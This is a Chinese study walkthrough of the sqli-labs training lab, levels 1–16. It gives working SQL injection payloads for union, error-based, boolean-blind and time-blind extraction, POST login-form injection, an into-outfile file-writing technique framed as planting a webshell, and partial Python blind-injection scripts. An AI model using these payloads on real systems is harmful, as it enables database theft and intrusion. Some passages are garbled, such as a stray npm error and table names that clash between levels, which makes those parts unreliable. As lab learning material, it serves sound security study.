sqli-lab通关笔记
MySQL数据结构
对于mysql数据库5.0以上版本的自带的数据库information_schema
下面有两个表:tables
和columns
。
tables
table_name
字段下:所有数据库存在的表名table_schema
字段下:所有表名对应的数据库名
columns
column_name
字段下是所有数据库存在的字段名columns_schema
字段下是所有表名对应的数据库
GET
Error based
Less-1 single quote
判断是否存在注入
1
Less-1/?id=1' -- a
1
Less-1/?id=1' and 1=2 -- a
通过页面回显可判断:字符型注入。
联合注入 判断字段长度
1
Less-1/?id=1' order by 3 -- a
试到
order by 4
时出现报错,即共有3列。补充内容:SQL Union
SQL Union用于将多个select结果集进行合并。值得注意的是,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
例:
1
2
3
4
5
6
7
8
9
10表A 表B
+----+---------+ +----+---------+
| id | content | | id | content |
+----+---------+ +----+---------+
| 1 | A | | 1 | B |
+----+---------+ +----+---------+
| 2 | B | | 2 | C |
+----+---------+ +----+---------+
| 2 | C |
+----+---------+1
SELECT * FROM A UNION SELECT * from B;
1
2
3
4
5
6
7
8
9
10
11
12+----+---------+
| id | content |
+----+---------+
| 1 | A |
+----+---------+
| 2 | B |
+----+---------+
| 2 | C |
+----+---------+
| 1 | B |
+----+---------+
//(2,C)内容重复,只显示一条。判断显错位
1
Less-1/?id=-1' union select 1,2,3 -- a
可以看到name在第2列,password在第3列,可以从第2列或者第3列查询出数据库名称
判断库名:
1
Less-1/?id=-1' union select 1 , database(),3 -- a
或联合注入爆出全部库名(推荐)
1
Less-1/?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
爆出库名:
ctftraining
,information_schema
,mysql
,performance_schema
,security
,test
判断表名:
table_name
1
Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' -- a
或直接查询出该数据库中所有的表(推荐):
1
Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'ctftraining'),3--+
group_concat()
:将查询到的结果连接起来。爆出
ctftraining
库中的表名:flag
,news
,users
判断列名:
column_name
查询出该数据库中所有的列
1
Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+
注:
table_name
字段不只存在于tables
表,也存在columns
表中,表示所有字段对应的表名。爆出表
flag
中的列名:flag
判断数据:
1
Less-1/?id=1' and 1=2 union select 1,2,group_concat(flag) from ctftraining.flag--+
爆出数据,拿到flag。
数字型注入
1 |
|
测试注入存在:使用减法语句测试,如传参id=1
、id=2-1
、id=3-1
的结果差异
union注入
将两个select语句结果合并到一个结果集中,要求两个select语句拥有相同列数
1 | Less-1/?id=-1 union select password from users |
由于没有id为0的列,所以第一个select的结果为空,第二个select语句查询了users表中的password列,所以最后的查询结果就是users表中password列的第一行。如果需要查询其他行,还需要使用limit关键字进行选择。
Less-2 Intiger Based
判断注入、字段长度、显错位
1 | ?id=1 正常 |
联合注入爆出库名:
1 | Less-2/?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+ |
爆出库名:ctftraining
,information_schema
,mysql
,performance_schema
,security
,test
联合注入爆出表名:
1 | Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+ |
爆出ctftraining
库中的表名:flag
,news
,users
。
联合注入爆出列名:
1 | Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+ |
爆出表flag
中的列有:flag
爆出数据
1 | Less-2/?id=1 and 1=2 union select 1,2,group_concat(flag) from ctftraining.flag--+ |
爆出数据,拿到flag。
Less-3 Single quotes with twist
1 | ?id=1 正常 |
可以判断是字符型注入,闭合方式是')
。
1 | Less-3/?id=1') and 1=1 --+ |
其余与less-2相同。
1 | Less-3/?id=1')--+ |
回显位有三个。
1 | Less-3/?id=1') and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+ |
联合注入爆出库:ctftraining
,information_schema
,mysql
,performance_schema
,security
,test
1 | Less-3/?id=1') and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+ |
联合注入爆出表:flag
,news
,users
1 | Less-3/?id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+ |
联合注入爆出列:flag
1 | Less-3/?id=1') and 1=2 union select 1,2,group_concat(flag) from ctftraining.flag--+ |
联合注入爆出flag
数据:flag{298646fa-c35b-4787-bd9b-40946f3fbddf}
Less-4 Double quotes
1 | ?id=1 正常 |
判断是字符型注入,闭合方式是")
。
闭合:
1 | Less-4/?id=1") and 1=1 --+ |
其余与less-2相同。
1 | Less-4/?id=1")--+ |
回显位有三个。
1 | Less-4/?id=1") and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+ |
联合注入爆出库:ctftraining
,information_schema
,mysql
,performance_schema
,security
,test
1 | Less-4/?id=1") and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+ |
联合注入爆出表:flag
,news
,users
1 | Less-4/?id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+ |
联合注入爆出列:flag
1 | Less-4/?id=1") and 1=2 union select 1,2,group_concat(flag) from ctftraining.flag--+ |
联合注入爆出flag
数据:flag{298646fa-c35b-4787-bd9b-40946f3fbddf}
Double Injection
Less-5 single quotes
报错注入
extractvalue
:extractvalue
函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。updatexml
updatexml
函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。floor
floor
函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。
测出闭合和字段数
1 | ?id=1 回显You are in........... |
判断是字符型,'
闭合。
1 | Less-5/?id=1' order by 3 --+ |
回显位有三个。
尝试union select
判断回显,无效;查询的字段多于3个后,页面报错。
尝试报错注入爆出数据库名。
1 | Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ |
或
1 | Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),3)--+ //推荐 |
由于字符显示数量限制,只返回了两个完整的数据库名称:ctftraining
,information_schema
。
爆数据库表名:
1 | Less-5/?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="ctftraining") ,0x7e),3)--+ |
爆出表:flag
,news
,users
。
利用数据库名+inforamtion_schema
数据库进行后续注入。
爆字段名:
1 | Less-5/?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),3)--+ |
flag
爆出数据:
1 | Less-5/?id=1' union select updatexml(1,concat(0x7e, left((select(group_concat(flag)) from ctftraining.flag) ,25),0x7e),3)--+ |
1 | Less-5/?id=1' union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from ctftraining.flag) ,25),0x7e),3)--+ |
拼接,得出最终的flag数据:flag{5026a12e-9edf-481e-b
注1:绕过字符串返回长度限制情况
序号 | 函数 | 实例 | 截取内容 | 返回结果 |
---|---|---|---|---|
1 | left(201809,4) | SELECT LEFT(201809,4) | 左边的4个字符 | 2018 |
2 | right(name,2) | SELECT RIGHT(201809,2) | 右边的2个字符 | 09 |
3 | SUBSTRING(name,5,3) | SELECT SUBSTRING(‘福州大学计数学院’,5,3) | name字段 从第五个字符开始截取之后的3个字符 | 数学院 |
4 | SUBSTRING(name,3) | SELECT SUBSTRING(‘福州大学计数学院’,3) | name字段 从第三个字符开始之后的所有字符 | 大学计数学院 |
5 | SUBSTRING(name, -4) | SELECT SUBSTRING(‘福州大学计数学院’,-4) | name字段的第 4 个字符位置(倒数)开始取直到结束 | 计数学院 |
6 | SUBSTRING(name, -4,2) | SELECT SUBSTRING(‘福州大学计数学院’,-4,2) | name这个字段的第 4 个字符位置(倒数)开始截取之后的2个字符 | 计数 |
7 | substring_index(‘www.baidu.com‘, ‘.’, 2) | SELECT substring_index(‘www.baidu.com‘, ‘.’, 2) | 第二个 ‘.’ 之前的所有字符 | www.baidu |
8 | substring_index(‘www.baidu.com‘, ‘.’, -2) | SELECT substring_index(‘www.baidu.com‘, ‘.’, -2) | 第二个 ‘.’ (倒数)之后的所有字符 | baidu.com |
9 | SUBSTR(name, 1, CHAR_LENGTH(name)-3) | SELECT SUBSTR(‘福州大学计数学院’, 1, CHAR_LENGTH(‘福州大学计数学院’)-3) | name字段 除name字段后三位的所有字符 | 福州大学计 |
10 | mid(str,start,[length]) | str:截取的字符串 start:起始位置 length:截取的长度,可以忽略 |
我们注意到在函数 substring(str,pos, len)中, pos 可以是负值,但 len 不能取负值。
注2:使用updatexml来查询表中数据时可能会出现查询数据不完整的问题。
解决方案:
- 使用limit限制查询个数,一个一个查询
- 使用group_concat时使用substr进行字符串截取 其中”1,32”控制截取的起始与结束位置
payload:
1 | and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+ |
Less-6 Double quotes
与Less-5只是闭合的方式不同,需要闭合
"
。直接参考Less-5的payload。
flag{5eda00d5-53df-4655-9c24-18747e835c94}
Dump into outfile
Less-7
1 | ?id=1 You are in.... Use outfile......提示用文件 |
则试出字符型注入,闭合是'))
1 | Less-7/?id=1')) --+ |
尝试使用updatexml()
报错注入函数尝试注入
1 | Less-7/?id=1')) and updatexml(1,concat(0x7e,databse(),0x7e),3)--+ |
注入失败,出现语法报错。
传参id=1时出现提示:使用输入/输出文件。
写马
通过mysql的file
系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有:
into dumpfile()
into outfile()
load_file()
用法:
1 | select 'mysql is very good' into outfile 'test1.txt'; |
成功实现的条件:
- 权限为root
- 知道网站的物理路径
secure_file_priv
=空
show variables like ‘%secure%’;
1 | npm install show |
编辑进环境变量PATH,尝试在mysql控制台通过命令 show variables like '%secure%';
查看 secure-file-priv
当前的值。
出现报错:
1 | fs.js:43 |
出现报错的原因是
如果显示为NULL
,则需要将其设置为物理服务器地址路径/路径设置为空,才可以导出文件到指定位置。在my.ini
文件里修改此项,改为secure-file-priv=' '
,表示不限制mysql在任意目录的导入导出。
在Less-7中我们可以这样尝试将一个txt文件来写入到服务的目录中:
1 | Less-7/?id=1')) union select 1,2,group_concat(schema_name) from information_schema.schemata into outfile "/var/www/html/1.txt"--+ |
爆库: ctftraining
1 | Less-7/?id=1')) union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctftraining' into outfile "/var/www/html/2.txt"--+ |
爆表:flag
1 | Less-7/?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk' into outfile "/var/www/html/3.txt"--+ |
爆列: flag
1 | Less-7/?id=1')) union select 1,2,group_concat(flag43) from ctfshow.flagdk into outfile "/var/www/html/4.txt"--+ |
获取字段值(flag):
Blind
Less-8 Boolian Based
1 | ?id=1 You are in.... |
尝试可知是字符型注入,闭合是"
,但是页面不显示报错。
1 | Less-8/?id=1')) |
布尔盲注
当服务器不显示查询结果,只返回是否查询成功时,我们就无法使用union直接回显数据,需要进行盲注。可以通过布尔盲注来不断尝试猜测出数据。
手工注入
1 | Less-8/?id=1' and (select length(database())>1) and 1=1 --+ //true |
通过页面的不同响应页面来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7。
得到了数据库的长度后,我们就可以再利用ascii函数+substr函数来修改字符串的范围,最终判断数据库的各个字符的ascii的值,最终就可以得到完整的数据库名称。
1 | Less-8/?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ //true |
根据不断的变换范围,最后得到了第一个字母的ascii码大于113但是不大于115,因此,它的ascii码就是114,对照ASCII码表,得到第一个字母为‘s’。
同样的方法,我们可以变化substr()
里面的第二个参数分别为2,3,4,5,6,7,最后可以获得接下来的其他七个字母,最终得到数据库名称“security”。
通过这个方法,我们可以首先通过information_schema
库中的tables
表查看我们注入出的数据库下的所有的表的数量,按照limit
的方法选取某个表,通过length
得到它的名字的长度,就可以得到它的完整表名。同理,通过columns
表获得某个表下的所有字段数量,并且获得每个字段的名称长度和具体名称,查出指定表下的记录数量,根据字段去获取某条记录的某个字段值的长度,就能获得该值的内容。
python脚本
1 | import requests |
1 | import requests # 导入 requests 模块用于发送 HTTP 请求 |
Less-9 Time Based-single quotes
在Less-9可以看到,无论尝试闭合或查询,服务器都会返回success,我们无法直接从服务器注入出任何信息。
通过前文可知,有回显的情况可以用union关键字直接带出数据;服务器只能给出“是”或“否的情况下,可以使用布尔盲注获得数据。
如果服务器完全没有输出该如何进行注入呢?
时间盲注
基于时间的注入(延时注入)(Time-based blind SQl injection)
利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。
优点:不需要显示位,不需要报错信息。
缺点:速度慢,耗费大量时间
用法:IF(Condition,A,B)函数,当Condition为TRUE时,返回A;否则返回B。
示例:
1
SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);
我们可以利用mysql内置的延时函数sleep
人为地制造出差异。
手工注入
根据输入来延时请求数据,观察请求时间是否存在延长,如果存在就是存在时间盲注,这里会使用if和sleep函数来进行判断。
if的语法三元运算符函数
1 | 语法:IF(CONDITION, value_if_true, value_if_false) |
CONDITION
是一个条件表达式,如果条件成立,则返回value_if_true
,否则返回value_if_false
。利用这一点来进行时间盲注。
1 | Less-9/?id=1' and if(length(database())=1,sleep(5),1)--+ //延时 |
python脚本
1 | import requests |
与布尔盲注脚本合并,如下
1 | import time # 导入时间模块 |
使用sqlmap
直接将url输入到sqlmap中。
1 | sqlmap.py -u sqlmap -u http://127.0.0.1/sqli-labs/Less-8/?id=1 |
Less-10 Time Based-double quotes
闭合方式为"
,其余与Less-9相同。
POST
Error Based
Less-11 single quotes
数据的提交方式从GET变成了POST,但是既然是SQL注入,那么在username/password中一定存在可以注入的点。尝试闭合一下看是否会报错:
1 | username:1' |
可以看到页面报错,说明存在SQL注入。
POST方式提交不能直接修改,有三种方式
1、使用可以POST提交的插件,例如Firefox中的HackBar
2、使用Burpsuite抓包后修改
3、直接在输入框中注入
源码:
1 | SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1 |
bp抓包进入repeater
,在request
模块中可以看出我们输入的用户名和密码分别属于第一列和第2列。
闭合是单引号'
。位数是2
.
爆库: ctftraining
1 | uname=xxx' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit |
爆表:flag
1 | uname=xxx' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+&passwd=123456&submit=Submit |
爆列:flag
1 | uname=xxx' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+&passwd=123456&submit=Submit |
获取字段值(flag):
1 | uname=xxx' and 1=2 union select 1,group_concat(flag) from ctftraining.flag--+&passwd=123456&submit=Submit |
flag{db3db0cf-f2d7-4506-8658-88062c6e44cd}
Less-12 double quotes with twist
闭合的方式变成了")
,其余不变。
Less-13 Double Injection-single quotes
闭合方式')
。但是使用12关的payload来尝试注入时,页面只会回复一个登录成功,并没有得到想要的数据。
使用报错注入有效爆出表名、列名、数据:
payload
1 | 123') union select updatexml(1,concat(0x7e,(select database()),0x7e),1) # |
爆库: ctftraining
1 | uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))))--+&passwd=123456&submit=Submit |
爆表:flag
1 | uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'))))--+&passwd=123456&submit=Submit |
爆列:flag
1 | uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag'))))--+&passwd=123456&submit=Submit |
获取字段(flag):
1 | uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag)))) --+&passwd=123456&submit=Submit |
1 | uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select reverse(group_concat(flag)) from ctftraining.flag)))) --+&passwd=123456&submit=Submit |
flag{db3db0cf-f2d7-4506-8658-88062c6e44cd}
Less-14 Double Injection-double quotes
闭合的方式变成了"
,其余不变。
Less-15
输入正确的用户名和密码:
输入错误的用户名和密码:
页面只返回是否查询成功时,我们可以进行盲注。
布尔盲注
Less-16
闭合改为")
,其余不变。